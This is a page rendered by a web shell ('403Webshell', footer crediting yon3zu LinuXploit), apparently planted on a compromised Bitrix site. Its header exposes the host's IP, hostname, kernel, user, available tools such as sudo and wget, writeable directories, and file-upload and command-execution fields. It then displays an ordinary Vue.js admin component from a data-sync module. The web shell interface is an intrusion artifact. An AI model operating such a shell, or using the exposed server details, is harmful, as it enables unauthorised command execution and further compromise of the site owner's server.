403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/sproduction.datasync/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/sproduction.datasync/page_iblocks_profiles.js
/**
 *
 * COMPONENTS
 *
 */

// Profiles list
Vue.component('iblocks-profiles', {
    mixins: [utilFuncs, mainFuncs],
    data: function () {
        return {
            list: [],
            list_loading: false
        }
    },
    template: `
<b-row>
    <b-col col lg="6" v-for="item in list">
        <b-card>
            <span class="badge bg-soft-success text-success float-right" v-if="item.active == \'Y\'">{{ $t("page.SP_DS_IBLOCKS_PROFILES_ACTIVE_Y") }}</span>
            <span class="badge bg-soft-danger text-danger float-right" v-if="item.active != \'Y\'">{{ $t("page.SP_DS_IBLOCKS_PROFILES_ACTIVE_N") }}</span>
            <h4 class="header-title"><a href="#" class="text-dark">{{item.name}}</a></h4>
            <!--<p class="text-muted font-13 sp-line-2">With supporting text below as a natural lead-in to additional contenposuere erat a ante.</p>-->
            <a :href="'sprod_dsync_iblocks_profiles.php?id=' + item.id + '&lang=ru'" target="_top" class="btn btn-success waves-effect mt-2"><i class="mdi mdi-pencil"></i> {{ $t("page.SP_DS_IBLOCKS_PROFILES_BTN_EDIT") }}</a>
        </b-card> <!-- end card-box -->
    </b-col> <!-- end col -->
</b-row>
`,
    methods: {
        // List update
        updateList: function (callback) {
            this.$emit('load_start');
            this.list_loading = true;
            this.ajaxReq('iblocks_profiles', 'post', {}, (response) => {
                this.list_loading = false;
                this.list = response.data.list;
            }, (response) => {
            }, (response) => {
                this.list_loading = false;
                // Callback success
                if (typeof callback === 'function') {
                    callback(response);
                }
                this.$emit('load_stop');
            });
        },
    },
    mounted() {
        this.updateList();
    },
});


/**
 *
 * VUE APP
 *
 */

const i18n = new VueI18n({
    locale: 'ru',
    messages,
});

var app = new Vue({
    el: '#app',
    i18n,
    mixins: [utilFuncs, mainFuncs],
    data: {
        main_error: '',
    },
});

Youez - 2016 - github.com/yon3zu
LinuXploit